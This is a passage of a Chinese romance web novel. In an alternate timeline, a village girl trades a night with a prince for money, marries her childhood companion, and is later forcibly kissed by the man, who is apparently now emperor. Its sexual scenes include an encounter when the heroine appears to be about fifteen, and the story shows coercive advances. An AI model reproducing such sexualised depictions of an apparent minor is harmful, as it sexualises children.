她一边低声抱怨,一边去拿了最好的床褥。 陶金荣说道: “用不着这么好的,拿普通的来就行。” 金盏不听,又翻了个白眼,继续把最好的床褥铺在了榻上。 顾时没想到她真的留他住了一夜。 她非常平静地躺在他身旁入睡,脸上似乎既没有激情的爱,也没有痛彻心扉的恨。 在他以为失去她的日子里,他苦苦哀求了那么久,只希望能重新见她一面。 没想到上天真的赏赐给了他这迟来的同床共枕,简直就像做梦一般。 他伸手轻轻触碰着她的脸颊。 这不是做梦,她就躺在他的身边。 她还爱着他,只是更爱别人。 他本身就是个扭曲病态的人,和这种奇异畸形的关系正好适配,他不能太过贪心,要克制住自己的独占欲才行。 次日,他和她一起起床,阳光从窗棂里照进来,他产生了一种久违的幸福感。 “顾时,回去吧,不要得寸进尺。” 陶金荣觉得窗外的阳光有些刺眼,直直白白地照在她的罪孽之上。 顾时低头浅笑: “我有分寸的……不要担心,罪孽都是我的。” 他给她穿上了衣服,她便也理所当然地接受了。 顾时走后,陶金荣的表情未免有些尴尬,便揪着金盏说道: “不要多嘴!明白吗!” 金盏翻了个白眼,见怪不怪的样子,无语地叹了口气,她早就知道肯定要有这一天。 “我能不知道吗?我比你心里有数。” “去弄洗澡水,我要洗澡。” “好好好……” 不过半个时辰,陶金荣便坐在了热水里,一边搓洗,一边检查顾时有没有在她身上悄悄留下什么痕迹。 还好,她的身体上没留下什么印子……可她还是不放心,便叫来金盏给她检查后背。 “哎呦,什么都没有。” 金盏无语,她真的很不愿意接这个帮顾时打掩护的活,可除了她,也没人能胜任。 晚上,秦思昭回来了。 带着愧疚心,陶金荣叫人给他准备了一桌子他爱吃的菜。 她知道秦思昭不挑食,几乎什么都能吃下去,他只是比较喜欢吃醋稍微多一些的菜,便命人做了几个酸口的。 他看着桌上几道多加了醋的菜,说道: “荣儿,伸手。” 她便乖乖地伸出手来,他便给她把了脉。 他忽然从后面抱住了她,动作很轻。 他把头靠在她的肩膀上,轻声问道: “荣儿,如果没了我,你会怎样?” 她的声音变得很低: “会非常非常伤心。” “那你会因此而……放弃一切希望吗?” 陶金荣认真地想了想,说道: “不会。” 她把手轻轻地搭在了他的手上,说道: “即使是我认识的所有人都死掉,我也会独自一个人好好活下去的。我活下去的勇气就是我们相爱过的证据。” 风声响起,一阵秋风把枯黄的树叶全部从树上扫掉,她抬头看着窗外湛蓝的天空,她如今已经不再是一个轻言放弃生命的人了。 秦思昭轻轻地吻了一下她的额头,说: “我很高兴你能这么想……可是我却做不到像你一样坚强,只要你还有一点爱我,我就想一直一直当你的丈夫。” “我爱你,我也想一直当你的妻子。” 她认真地对着秦思昭说,这并非是假话,毕竟她说的不是“我只爱你”。 秦思昭握着她的手说: “如果我们有了孩子,就姓陶吧。” 陶金荣一愣,说: “你还记得我娘说让你入赘的事呢?” “嗯,我要信守承诺才行。而且,这样这个孩子就不会被抢走了,不是吗?” 她笑了起来,说道: “你说得也对。” 秋高气爽,往后的每一天都会是充满希望的一天,陶金荣露出了一个真心实意的笑容。 第102章 阅读提示: 此章为陶金荣坑了顾时一笔钱之后,回家找到秦思昭,给秦思昭钱让他去科举,秦思昭入朝为官后君夺臣妻的if线 避雷:这个时间线是从六年前开始,人物性格会有和正文不同的地方。 这个时间线陶金荣对秦思昭的付出会比较多,秦思昭依旧忠贞地爱着陶金荣。 陶金荣和顾时不熟,重逢时会比较害怕他。 顾时本质依旧是个m,但更会摆架子,比正篇更高傲一点。 —————— 陶金荣从床上坐起来,低头看了看,床单上有一抹血迹。 整个过程不过喝一杯水的时间,她还没来得及怎么痛,就结束了。 原来这么快也能让她流血啊…… 她心中并没有觉得有什么痛苦,也没有什么惊恐,那事儿她懂,她娘亲跟她说过,成亲了的人人都这么干,这么干才能生出小孩。 东边的四姨这样干,西边的二舅舅也这样干,就连路上走着的老大爷,老太太,也都这样,现在无非也只是多加了她一个。 不过就是有钱的点上蜡烛和熏香在榻上交缠,没钱就钻庄稼地嘛,没什么稀奇。 看着顾时背对着她的样子,陶金荣恍然大悟。 怪不得这个奇怪的王爷又是给她买衣服,又是带着她玩,原来就是为了这个。 横竖就这么一小会儿,有什么意思? 只见顾时冷冷地转过头来,说道: “你可以走了。” 陶金荣没在听他说什么,只看了看这四周的装饰。 可真是新鲜,她都没见过,这个王爷应该挺有钱的吧? 她信口开河道: “不过这么一小会儿,你便赶我走?” 陶金荣心底盘算着,若是他一赶她,她便利利索索地走了,恐怕榨不出钱来,她得做出个死缠烂打的样子来,缠到他心烦,他才会塞她一大笔钱,买自己一个清净。 毕竟,家里还有一个人在等着她呢…… 顾时瞬间涨红了脸,皱着眉,流露出一副被羞辱一般的神情。 她拉着他的胳膊晃了晃,细声细气地说: “我不走……我已经是你的人了……我要纠缠你!” 说完,她又亲了他的侧脸一下。 “谁……谁准你这样轻浮的?” 他捏紧了她的手腕,想做出威严的样子来,可打结的舌头却出卖了他此时内心的慌张错乱。 不过片刻,他又把她压在了身下。 陶金荣叹了口气,罢了,这事干了就是干了,干一次和干一百次没区别,反正有没有多长时间,就算有点疼,她忍忍就过去了。 可这次偏偏时间翻了一倍,完全被撑开的痛感让她忍不住发出了哼声,可她一哼,又莫名其妙地更痛了。 她伸手擦了擦额头上的冷汗,反正也睡不了几次,让让他吧。 此后的一个月里,顾时总是找各种理由把她弄到床上,时间还变得很长,最后还翻出了各种花样来,皆是从一本春宫图里学来的。 好像这事儿是有点意思……可是她家里还有人在等着她呢,她可不能和他纠缠太久。 陶金荣看着他充满欲念的眼睛,慌慌张张地想,他怎么再也不提赶她走的事情了呢。 终于,陶金荣憋不住气了,在一日的中午,穿戴整齐,神色严肃,做出一副认真的样子来跟他说。 “王爷,你究竟把我当成什么?” 他沉默了半晌后说道: “你放心,后宅还是有你的一席之地,我可以收你当个侧室。” 陶金荣忍不住皱起了眉,顾时的回答在陶金荣的意料之外,他怎么不干脆轰她走呢?那样她就能光明正大地狮子大张口了。 她本来就沉不住气,被他这么一激,便一口气倒了出来。 “王爷,我在家里还有未婚夫呢!我得回去和他成亲才行。” 听到这句话,顾时的身子忽然晃了一晃,便如同一只被踩了尾巴的猫一般,扭过头来咬牙切齿地高声说道: “陶金荣!你有未婚夫还来勾引我,真是好不要脸。” “我……我……我们夫妻二人不过都是草民,你是王爷,我哪敢忤逆您的意思,就算是我和我未婚夫已经成亲,您想要我伺候,我也不敢忤逆您呀。” 陶金荣没想到他忽然发作,便梗着脖子,委委屈屈地说道,情到浓时,还做作地掉下两滴泪来。 不过她说的倒是实在话,这样的天家贵胄,她和秦思昭怎么得罪的起,睡就睡了,没什么可丢人的,通房丫鬟有的是放出去再嫁的。 顾时涨红了双眼,死死盯着她,声音哽咽道: “所以你愿意和我那样,就只是因为我是王爷是吗?” “啊?” 陶金荣手忙脚乱,他不会要哭了吧? 不过他哭不哭也都不关她的事呀,她得赶紧回家才行。 秦思昭一个人,恐怕等得很孤单吧。 她知道他脑子很聪明,读过很多书,而且过目不忘,看一遍就能记住,只要她有钱了,他就能开开心心地去县里的学堂念书了。 顾时变了脸色,嘴角上挂着嘲讽的笑容,阴冷地说: “你婚前失贞,哪个男人能接受得了自己的妻子干出这么不要脸的事?你以为他还会要你么?” 既然她跟他在一起的时候,心里还揣着别的男人,也别怪他专门揭她的短,往她心窝子里戳。 “……” 陶金荣在心底翻了个白眼。 她该怎么和他解释他们这些穷人能有个媳妇就不错了?生过娃的寡妇家门口来说亲的人反倒更多呢。 转念一想,她便理直气壮地说道: “只要我拿着银两回去,他为了银两也会和我成亲的。你也知道我为了你开心,干了讨嫌的事,可不能随便拿点小钱就把我打发走!” 顾时冷笑道: “原来是个钻钱眼子里的女人,是在跟我谈一桩买卖,真是我错看了你,说吧,你要多少?” 陶金荣伸出两根手指,自信满满地比了个二,说出了一个自认大得可怕的数字: “二百两,一两都不能少。” 顾时的脸上流露出了一丝错愕。 他还以为她想问他要两千两银子呢…… 他冷哼了一声,说道: “我可以给你六百两银子,可是别怪我没有提前提醒你,你那个未婚夫肯定会抢走你的银子再把你赶走,到时候你可就真的走投无路了,还要哭哭啼啼地过来求我收下你呢。” 顾时看见她微微泛起樱色的嘴唇,心中又未免有些不舍。 若她喜欢的是钱,那他正好有钱。 “如果你愿意留下,我可以让你做我的妾室,每年都可以给你八百两银子,绝不会亏待了你,可若你执意要走,再回来的时候就只能当个通房丫鬟了。” “父母之命媒妁之言,我不和我未婚夫成亲就是不孝,我一定是要和他成亲的。” 六……六百两银子!!! 陶金荣觉得自己的嘴角有点难压。 “罢了,我已经把话说到了这个地步,你若是执意要回去,我也懒得劝,只是你一个姑娘家拿这么多银票不安全,我派个人护送你回去便是了。” 他又掏出一个令牌递给她,说道: “若是反悔了,便拿着这个去找当地的县丞,他看到这个就会送你来王府。” “谢王爷疼我。” 见她欢欢喜喜的样子,顾时心中便一阵别扭,真是个目光短浅,见钱眼开的女人。 他用最恶毒的想法去揣测那所谓的未婚夫,等着吧,她迟早要后悔离开他选了另一个男人。 顾时见陶金荣欢天喜地地去收拾了东西,心中莫名其妙地不是滋味,便和一旁的侍卫说道: “去了之后,好好打探打探她那个未婚夫是什么东西?也让我长长见识。” 这一番话说得颇酸。 “你在那里等上一会儿,若是她反悔了,便直接送她回来。” 他自信地想,她肯定会反悔的。 毕竟他容貌是公认的端正俊秀,气质优雅,身份高贵,银子更是不缺,不管是哪一样,肯定都远胜于她那个在小地方门当户对的“未婚夫”。 可是她为什么还要为了那个“未婚夫”而离开他呢…… 想到这里,顾时忽然觉得焦虑,强行吞下了三四口滚烫的茶水。 热水烫过喉咙的感觉让他有些成瘾,他咬了咬下唇,她走得那么决绝,难不成是因为他在床上只顾着自己,没能取悦于她? 还是说她觉得他这样的太过高雅斯文,不够有男子气概,更喜欢那乡野糙汉? 他用力甩了甩头,试图把这种念头从脑海里清洗出去。 他只要等着她就好了,她迟早会回来的。 一滴泪从他的脸上划过,他原本以为自己有人爱了呢,可却是空欢喜一场。 陶金荣揣着银票,又喜又悲地一路回了家。 她有了六百两银子,有了这笔银子,便能让阿爹阿娘全都过上好日子,可她的爹娘却全都已经不在了…… 从此她便和秦思昭二人相依为命吧。 秦思昭就在他爹留下的破屋里等她。 他饿得瘦了很多,下巴尖了,个子小小的,简直不像是有十四岁的孩子,可即使这样,他也努力保持着干净,就连灶台和地面都维持着一尘不染,看得陶金荣一阵心疼。 “荣儿姐姐……我怕你找不到我……不敢走远……” “你终于回来了……” 他比她还要矮上半头,扑到了她的怀里,哭了起来。 “阿昭别怕,我们有钱啦!” 第103章 她一边拍着秦思昭的后背安慰着他,一边忍不住落下泪来。 “嘘……别出事……听我说……” 她擦了擦秦思昭脸上的眼泪,看着他的眼睛说道: “我拿了六百两的银票回来……” “六百两……” 秦思昭不禁惊呼,却被陶金荣捂住了嘴。 “别激动,咱们两个拿着这么大一笔钱,不能呆在这儿,得赶紧走才行。” 她看了看窗外停着的马车,侍卫的喉咙里哼了一声,挺着肚子,伸手松了松腰带,从马车里走了出去,慢悠悠地晃荡进了小树林里。 陶金荣眨了眨眼睛,补充了一句: “今晚就走。” 毕竟她身上揣着这么大一笔钱,车上还有好多顾时送她的金银首饰,送她回家的那个侍卫会不会杀人越货? 而且财不露白,到了明天,别人若是看见她有钱买马租车,恐怕会有后顾之忧。 “他出去解手了……趁这个功夫,咱们两个把他的马车劫走。” 她回头看了一眼秦思昭,说: “动作麻利点,别拖我的后腿。” 秦思昭愣了一下,马上点了点头。 “快上去!” 陶金荣推着秦思昭的屁股,把他塞进了马车,又麻利地爬了上去,抓住了马的缰绳。 那马转过头来,不服气地看了她一眼,她觉得有点怕,因为她根本不懂怎么驾车,可事到如今也得咬着牙硬上了。 “喂!死小孩!快把我的马车留下!” 秦思昭拉开了帘子,从窗户把那侍卫落在马车里的男式钱包直直地丢了过去——直中他的面门。 总而言之,这马乱七八糟地跑了起来,最后又乱七八糟的在县城边上停下。 天还没蒙蒙亮,但天际线处已经出现一道炫目的白光。 “阿昭,咱们走着去吧,这马车太好了,我怕被人盯上。” 她解开这马的缰绳,鲁莽地把马放走了。 “嘿——咻——” 她爬上马车,把那装满绫罗绸缎和钗环首饰的箱子给搬了下来,这箱子上铺着一条颇为华丽的毯子。 她把毯子丢到土里,反复踩了几脚,又满意地把这毯子披回了箱子上。 “这样就看不出来里面装的全是好东西啦。” 她擦了擦额头和鼻尖上冒出的小汗,笑了起来,一双眼睛亮晶晶的。 “可是荣儿姐姐穿得也很漂亮呀。” 秦思昭仰起头,从脚到头把她看了一遍。 她穿着一身他从未见过的橘红色面料,上面绣着精巧绝伦的花纹,头上虽然没戴钗环首饰,可却也乌发如云。 及笄一过,她便飞快地从假小子变成了婷婷袅袅的美人模样,这个样子说是哪个高官家中的大小姐都不觉得奇怪。 秦思昭摸了摸自己的脸,他已经很久没照过镜子了……可就算不照镜子,他也知道自己此时面黄肌瘦,恐怕好看不到哪里去。 他走在她身边,恐怕要像大小姐和乞丐吧。 “啊——那怎么办啊……” 她夸张地挠了挠头发,就跟从来没想过这个问题似的。 陶金荣小时候在外面瞎玩胡混,绰号黑猴子,很明显她还没转过弯来,根本没发现自己已经是个漂亮的大姑娘了。 她仔细想了想,把银票从自己的胸衣里,亵裤中,还有鞋底子里拿了出来,塞进了秦思昭的鞋底子里和亵裤边上缝的口袋中。 “荣儿姐姐,我怕我走着走着鞋底子掉了……银票漏出来……” “这只是一部分银票……我特意换了很多小额的,还有铜板。” “算了,你瘦成这个样子,我看了就觉得心疼,肯定肚子饿了很久了,咱们先去吃饭。” 她伸手捏了捏他的脸,面黄肌瘦,捏不出一丁点肉来,个头也根本没长。 扛着箱子,陶金荣和秦思昭一起找了一家小馆子,一人一碗疙瘩汤。 秦思昭似乎很久没吃过白面了似的,狼吞虎咽地全都喝了。 虽然说过程有些手忙脚乱,但总算是在这里的私塾附近租下了一套小院子,又给秦思昭买了体面的新衣裳穿着去上学,二人也安定了下来。 只是秦思昭似乎闲不住似的,得了空便去帮人写字,好的时候能换一吊钱,不好的时候就只能赚几个铜板。 她虽然大字不识几个,可却怕耽误了他的念书进度,担忧地说道: “阿昭,这些钱够你求学用了,你踏踏实实地念书吧。” 这半年里,秦思昭长高了不少,现在已经和她一样高了。 “荣儿姐姐,我赚的钱可以给你用,你的钱还是你自己的,我可以自己赚学费的。” 夜里,他点了烛火,握着她的手,一个字一个字地教她念书。 大字不识确实不行,睁眼瞎,陶金荣虽然性格散漫,但在他的细心讲解下也算是学进去了。 过了一年,他们从县里进了省城,继续考试。 一日,他带着一个盒子回来,塞到了她的手上。 她打开一看,里面是一个玉镯子。 “荣儿,我中举了……我去裁缝那里给你订了几身衣裳,不知道你喜欢不喜欢。” 他红着脸低下头去,问: “你喜欢什么样的嫁衣?” “你才十六岁,就想成亲的事?成亲了就无心求学了,你不是说乡试之后还有会试吗?” 陶金荣红着脸,急匆匆地说道。 她转过身去,眼睛里带上了几分忧虑。 她忽然觉得自己不想真的和秦思昭成亲。 一来她还有事瞒着他,没跟他说清楚,二来,她比他先成为大人,心里总觉得他还是个小孩子的样子,她实在是没办法把他和那种事联想到一起。 她也有过食髓知味的时候,不过也只是半夜里悄悄把手伸进裙子的下摆,把双腿夹在一起。 可是她却一次都没有对秦思昭起过那方面的心思。 她潜意识里把他当成自己的弟弟。 “荣儿,当个举人就足够养家糊口,我不想去会试了,而且会试在京城,开销太大,恐怕我手里没有那么多余钱。” “没关系,用我的吧,我有钱的。” “那是你的钱,我不能用。” “那就当是我借你的,等你考上状元,再还给我吧。” 她想,若是他进京城做了大官,肯定会有很多人给他介绍高门贵女,到时候他肯定不会再提和她成亲的事了。 到时候她可以和秦思昭拜个把子,结为义姐弟,理所当然地赖在他的宅子里。 “荣儿,你很希望我考上状元吗?” “嗯,当然,你考得越好我越高兴。” 秦思昭默默地把原本想卖掉的书又都捡了回来。 他一扭头,看见他送的镯子已经戴在了她素玉般的腕子上,嘴角上便挂上了几分笑意。 随后二人便进了京城。 陶金荣摸了摸手上的镯子,自从秦思昭给她买了衣裳后,她便每日只穿他送的衣裳了。 那些华贵的绸缎,耀眼的珠宝,全部都当成保值的财产压箱底了,她只偶尔把它们拿出来稍微打理一下,打理完又放了回去。 那段记忆也已经生了锈。 她只记得自己遇见一个达官贵人,睡了一觉,醒来后已经不记得他是谁了。 她看着秦思昭。 他刚满十七岁,已经彻底长成了青年男子的样子,比她高出了几乎多半头,她和他走在一起,旁人都要说他们夫妻二人般配,他从来不反驳,只微微羞红了耳根。 罢了,只等他考完试吧,等他踏踏实实地考完,她再同他说成亲的事。 秦思昭落榜了。 放榜完,他委委屈屈地同陶金荣说: “其他上榜的都已经成亲了,就我还没有妻子,荣儿,你到底什么时候和我成亲?” “我就想风光一点,等你明年考上状元了我再和你成亲。” 他的嘴唇嚅动了几下,憋出来一句话: “那好吧,我努力试试,可是我今天落榜了,心情很不好,你能不能……亲我一下?” 陶金荣犹豫了,她觉得她没什么好的理由去拒绝他,便把手搭在他的肩膀上,说道: “我觉得你肯定能考上。” 他没说话,只闭上了眼睛,等着她来亲吻他。 想来想去,陶金荣亲吻了他的侧脸。 只是轻轻把自己的唇贴在了他的脸上一下,她便松开了。 他握住她的手腕,把她往自己的怀里一拉,问道: “就只亲一下脸吗?” 还不等她回答,他就把自己的唇覆上了她的唇。 她的面颊红了一片,微微地挣扎了一下,感觉到手腕的力度收紧了些,便马上放弃挣扎,任由他生疏地咬着她的嘴唇。 “荣儿,和我成亲好不好?” “等到明年吧,不管你考成什么样子,我都和你成亲。” 如果他真的考上了大官,肯定会有很多达官贵人争相把女儿嫁给他吧…… 她竟然发现自己隐隐约约地希望他考不上了…… 一个月后,秦思昭有些愧疚地抓了抓头发,跟她说: “荣儿,我拜了一位师父,需要离家一年,专心求学,恐怕顾不上你,待我考完后再来找你成亲,等我。” “你专心求学吧,我想当状元夫人。” 这一年里秦思昭并非杳无音信,一年里,她收到了他的二十三封家书。 考完后,他便急匆匆地来找她,他清瘦了许多,明明个头生得已经很高,却用一双桃花眼畏畏缩缩地看着她。 她猜测着他是不是有什么事在瞒着她,可是他不说,她也不问。 直到放榜前一天,他才结结巴巴地跟她说: “荣儿,我……我觉得我能进殿试,但未必能中状元,状元是由陛下亲点的……我……我一介草民……恐怕入不了那样的天家贵胄的眼。” 陶金荣忍俊不禁,笑出声来: “傻不傻,我随口乱说的。你是想当我的夫君,我来点你做第一名,不就足矣了吗?” 第104章 次日放榜,陶金荣和秦思昭一起去榜下看了名次。 “荣儿……我在第二名的位置啊……” 秦思昭结结巴巴地说: “恐怕……恐怕我是做不成状元了……” “罢了,咱们先回家,回家再说吧。” 陶金荣想,她得把所有事都一口气跟他说清楚才行,她不能瞒着他。 回到家后,反倒是秦思昭先开口: “荣儿,你先答应做我的妻子吧。” “若是我不能答应呢?” 他嘴唇哆哆嗦嗦地说道: “我考取功名不过是为了能给你更好的生活,若你不答应,我就……我就不去殿试了……” 她看着他苦笑,秦思昭真的不懂得怎么放狠话。 明明生了一双含情脉脉的桃花眼,却总是有许多笨嘴拙舌,不解风情的时候。 不过她一直以来都知道,他是用一颗诚挚之心待她。 她也不该欺瞒他才对。 “我在几年前跟一个达官贵人睡了,换了六百两银子来。如今你考中了功名,恐怕有许多权贵愿意榜下捉婿,你还愿意和我成亲么?” 秦思昭忽然生气了,声音变得急促: “我和你相依为命这么多年,在你眼里我就是那样的人?你就这样想我?我只问你,你喜不喜欢我?如果我有哪里做的不好招你讨厌了,我大可以改啊!” 说着说着,一滴泪划过他眼角的那颗小痣。 她连忙去拍他的后背: “别哭别哭,我没有那样想你,我只是不想瞒着你。” “我就问你喜不喜欢我?” “喜欢。” 陶金荣一句喜欢,便换来了一场即便是在京城也算得上是风光的婚礼。 她穿着红嫁衣,坐在喜床上,看着秦思昭笑盈盈地拿了交杯酒来,她用手臂勾着他的手臂,一饮而尽了。 这酒没什么太呛的味道,她只觉得有些迷糊,但也不至于丧失神志。 她见他面色怯生生的,隐隐有些紧张,便以为他还在为榜上提名一事心焦,便搂着他的腰,在他耳畔说道: “状元是皇上钦点的,在家里我就是皇上,我点了你,你就是状元,那我岂不就是状元夫人?” 他被她逗得笑了笑,一边生涩地吻着她,一边伸手去解她的衣领,她忽然觉得有点迷糊,耳根子红了,生出几分羞怯来。 “……” 历了几次失败,腰肢辗转之间,总算是成了夫妻之礼。 陶金荣猛地绷紧了小腹…… 她虽说是初尝过情事,可毕竟是数年没有过了,这一下便把她的所有欲念全部勾了起来,她就像是一条奄奄一息的鱼被丢回水里一般。 她搂着秦思昭的脖子,一边喘息,一边贴在他的耳畔说: “能当你的妻子,我算是个有福之人。” 他不语,只加重了些力道,大红色的床单皱了起来。 次日,她在他的怀里醒来,黑发散了满背,他骨节分明的手锁着她的腰,吻了吻她的额头。 三日后,秦思昭去了殿试,回来的时候略微不好意思地挠了挠头,说道: “陛下全部都按照会试的成绩定了名次,我是榜眼,赐职翰林院编修。” “什么乱七八糟的我不懂,我只知道住上新宅子了。” 她亲了亲他的侧脸。 “等我过两年,便调回老家当个知府吧。” “好。” 她笑着点了点头,月牙儿似的双眼钩着他。 秦思昭的脸红了红,说: “明晚陛下设宴,专门宴请我们这些新人,说是可以带上家眷,荣儿,你同我一起去吧。” “好。” 次日,她琢磨了一天自己在宴席上该穿什么。 她想着,这种时候她不能给秦思昭丢脸,得穿上能撑场面的衣裳,便打开了那个落满了灰的箱子。 她从里面拿出了一件已经半旧,但依旧品质非凡的衣裳,又戴上了镶嵌着异域珠宝的银钗。 “阿昭,你说好看吗?” 他只穿着一身素色的官服,涨红了脸,即便是满腹墨水,这个时候也,憋不出几个字来,只痴痴说道: “好看。” 她笑了笑,挽着他的手,以秦思昭的妻子这一身份赴宴。 她穿着半旧的名贵衣裳,戴着稀罕的珠宝,唇上擦着最新的胭脂,周围人的目光时不时落在她的身上,回忆着哪位高官家中有如此貌美非凡的女儿。 新婚燕尔,陶金荣的眼中浮着一层烂漫的粉光,脸上带着一种娇媚餍足的美感,和她本身脸部线条的清冷感糅杂在一起,有一种说不出的妩媚。 一道目光打在了她的身上。 顾时的喉结上下动了动。 为什么这个世界上会有女人每一颦一笑都如此地合他心意?她简直就长在他的心坎上,光是看她一眼,他就觉得身下一热。 即便已过了多年,他还是一眼就认出了她,她今年应该有了十九岁,身形已经变得窈窕,美得有些肆意张扬,双眼里满是情欲之态。 这些年里,他*忙于争权,却也没把她抛在脑后,每夜他总会想起她,起了欲念,便也只能用手纾解。 他时不时就派人去找她,可全部都杳无音信。 可如今真是全不费工夫。 几年前,侍卫告诉他,陶金荣没有什么未婚夫,只有一个弟弟,急着拿钱回家是想送弟弟去念书,他信了。 可如今她已经成了别人的妻子。 他看了看她的丈夫,秦思昭,今年的榜眼,可以称得上是学识渊博,进退有度的一表人才,应该有很多人愿意榜下捉婿。 她早已不是完璧之身,究竟是用了什么上不得台面的手段,才嫁给了他? “秦编修年纪轻轻便考上榜眼,真是一表人才啊。” 他似笑非笑地看了过去。 “秦编修的妻子……头上戴的首饰倒是挺有意思,不知是从哪里得来的?” 陶金荣的脸瞬间涨红了,惊慌失措,双手紧张地搓在了一起,看起来不太斯文。 他居高临下地欣赏着她的窘态。 他当然知道她的首饰是从哪得来的,因为那首饰是他亲手挑的。 “这……陛下,臣一向不太关注这些女子嫁妆之物,毕竟臣是男子,若是终日研究女子钗环首饰,恐怕也不太得当。” 众臣咳嗽了几声。 那首饰一看就不是俗物,没想到秦思昭刚当上编修就受贿,还那样招摇。 恐怕他之后的日子要不好过了。 顾时冷笑道: “嫁妆?秦编修不妨回去后多问一问,是谁给你的妻子备的嫁妆?” “不过是些家长里短的私事,讲出来恐怕要扰了陛下兴致。” 顾时死死盯着陶金荣,心想,你的妻子便是我最大的兴致。 他的下身瞬间又热了几分。 他用眼神示意了一下,金盏便端着一壶酒,放在了陶金荣面前,说道: “还请夫人罚酒三杯。” “我夫人不胜酒力,我这个当丈夫的替她来喝吧。” 话音刚落,他便把三杯酒尽数喝下。 “……” 顾时沉默了一阵,便努力把目光从她的身上移开。 毕竟当众为难一个女人,实在是有失体面。 不只是谁站出来讲了个笑话,众人皆欢笑了起来,此事也变成了一个无人在意的小插曲,就这么含混过去了。 他悄悄吩咐手下,待会儿宴席结束后,不让秦思昭走,让他去写一份诏书等着他验收。 众人都走了,秦思昭也被人叫走,只有陶金荣一个人窘迫地在原地等着。 金盏走来,带着她绕来绕去,进了一道门,她不知道这是哪,只觉得这里她不该进去…… 里面摆着一张床榻,看起来太私密了些。 为什么要让她在这里等着? 顾时换了一身银白色的衣裳,站在镜子前面,扒拉了两下自己的头发,又颇为讲究地漱了漱口,他不喜欢自己身上有酒气。 这衣裳熏过香,又绣着不过分张扬的暗纹,显得人十分高雅清俊。 他对着镜子笑了笑,便自信满满地去找陶金荣相会了。 她坐在椅子上喝茶,见他来,便被吓了一跳似的,把茶盏放了下去,说: “公子……请问您是何人?我已有丈夫,孤男寡女恐怕不太合适,还请您出去吧。” 她并非装傻,一连好几年过去,她真的不记得那位达官贵人姓谁命谁,长得什么样了。 刚才在宴席上被那样为难,更是不敢抬头看一眼,根本不知道陛下是谁。 顾时瞬间变了脸色,咬牙切齿地说道: “陶金荣,那你总记得这个吧?” 他欺身上前,将她按在了椅子上,狠狠地吻上了她。 “唔……” 刚刚唇齿相接的时候,她就使劲咬住了他。 天杀的!这是哪来的纨绔公子要来非礼她! 顾时吃痛,泪水微微地从眼眶里渗了出来,他已经松开了手,她却不肯松口。 直到听到了他求饶般的哼声的时候,她才松开了牙关。 她的牙齿里沾满了顾时的血,呸了一口,粗野地吐在了地上。 “哪里来的流氓要非礼有夫之妇啊!你是如何知道的我的名字?” 她的手指攥紧了裙子,她要挠烂他的脸! 一个深深的血印子挂在了顾时的唇上,他几乎有些破相。 这可怎么办是好……他总不能嘴唇上挂着个牙印去上朝。 他擦了擦嘴唇上的血,狠狠地盯着她,质问道: “陶金荣,你已非完璧之身,究竟是用了什么手段,让榜眼娶你为妻?” 第105章 陶金荣一愣,忽然丢下两句掷地有声的粗野脏话,骂道: “我们夫妻恩爱得很,轮得到你个登徒子来指指点点?一天到晚惦记别人夫妻俩□□子里的那点事!贱不贱啊!” 她深呼吸了两下,倒也转过劲来,想喝口茶冷静一下,杯子里却空空如也。 她悄悄抬起眼打量着面前这人,长相倒是不错,个子高,骨架宽,是十分标致的俊朗人物,穿着也贵气又不流俗,不知是京中哪位达官贵人。 就算她再迟钝,此时也明白了,原来自己几年前就是同他上了床,他认出了她来,她却没认出他。 他眼角微微泛红,流露出一种微妙的,六神无主的神态。 她本能地捕捉到了一个信号。 “给我倒杯茶来。” 她推了推杯子,试探似的使唤他。 顾时愣了一下,说道: “你竟敢使唤我?” “呸,你个轻薄人的登徒子!我不揍你就不错了,让你倒杯茶又怎么了?” 顾时明白了,她没认出他来。 他的名字,长相,身份……她一概都不记得了。 恐怕刚才在宴席上她也没胆量往上多看一眼,所以她也不知晓他的身份。 他一边去拿茶壶给她倒水,心中一边恶劣地幻想着她得知真相时惊慌失措的样子。 他抬头看了看她细长优美的脖颈,心想,到时候她岂不是会吓得跟一只撒腿就跑的兔子一般。 真是令他愉悦不已。 她翻了个白眼,一口气把小茶盏里的茶水全部喝尽了。 顾时皱了皱眉,这种喝法实在是糟蹋了这茶叶。 “你个登徒子!还不赶紧出去,在这里看什么看!就算你跟我发生过什么又怎么样!老娘和你早就银货两讫了!纠缠别人的妻子可算不上英雄好汉。” 她感觉到了他的视线落在了她的身上,顿时恼了,即便内心羞愤,却丝毫不流露出小女儿的羞怯之态,她知道这种登徒子就是喜欢看女人惊慌失措的样子。 她清了清嗓子: “皇家威严之地,也能容人造次?更何况我是有夫之妇,若是我一嗓子喊出去,你也好过不了。” 顾时被她逗笑了,说: “你可知我是何人?” “……” 她见顾时神情自若,心中也未免惊慌,京中得罪不起的人物实在太多,若他是哪位高官,岂不是稍微一出手就能让他们夫妻二人永无翻身之地? 顾时笑道: “我叫顾时,你还记得吗?” 陶金荣一下子变得诚实了起来,摆摆手说道: “不记得了,你长什么样我都不记得了……就记得大概其有这么个事儿。” 顾时看着她头上的钗环冷笑,他送的首饰照戴,衣裳照穿,可他这个人她却不记得了。 他将自己的脸猛地凑近了些,她吓得直往椅子里缩,却无处可逃,面颊通红,眼神躲闪十分难堪。 可她这窘迫急促的模样,落在顾时的眼中,反倒是如同带雨海棠一般,看得他喉结上下动了动,身下又起了欲念。 “陶金荣,你若是觉得我轻薄了你,就照着我的脸扇上一个耳光。” 啪—— 一个耳光不偏不倚,不轻不重地扇在了他的脸上。 他没想到她还真的敢动手,一时之间有些错愕。 在被羞辱的恼怒之余,他又生出一丝不可言说的快意来。 他越是纵容她来羞辱他,等到了他的身份被揭露之后,她就会感到越惊慌,越懊悔。 顾时一边的嘴角微微翘起,在她的脸上肆意打量着,露出一个嘲讽的笑容。 说不定能吓掉她半条命呢。 到时候有的是她哭着求他的时候。 “登徒子!不管你是多大的官,都没有淫人妻女的道理啊!” 她放完狠话,又瑟瑟发抖地把手缩进了袖子里,心里一阵一阵的懊悔。 她并不知眼前这人是什么来头,就贸然得罪了人,会不会影响秦思昭的前程? 不过既然能看上她,那想必身份不会很高,想到这里,陶金荣便放心下来了。 他直接把手放在了她的脸颊上,浅笑道: “下次再会。” 她往后一仰,甩开了那只不安分的手,皱着眉道: “我们不会有再见面的时候了。” 顾时走到后面去照了照镜子,自己的脸上一个巴掌红印,嘴唇上是明显的齿痕,只要不是傻子,都能看出来发生了什么。 他叹了口气,想必这几天都不能露脸了,就找了个帷帽戴上,去验收秦思昭写的诏书。 醉翁之意不在酒,他把那诏书放下,问: “秦编修与您的夫人关系如何?” 秦思昭想到他的妻子,他就露出了一个幸福的微笑,回答: “恩爱两不疑。” “可知根知底么?” 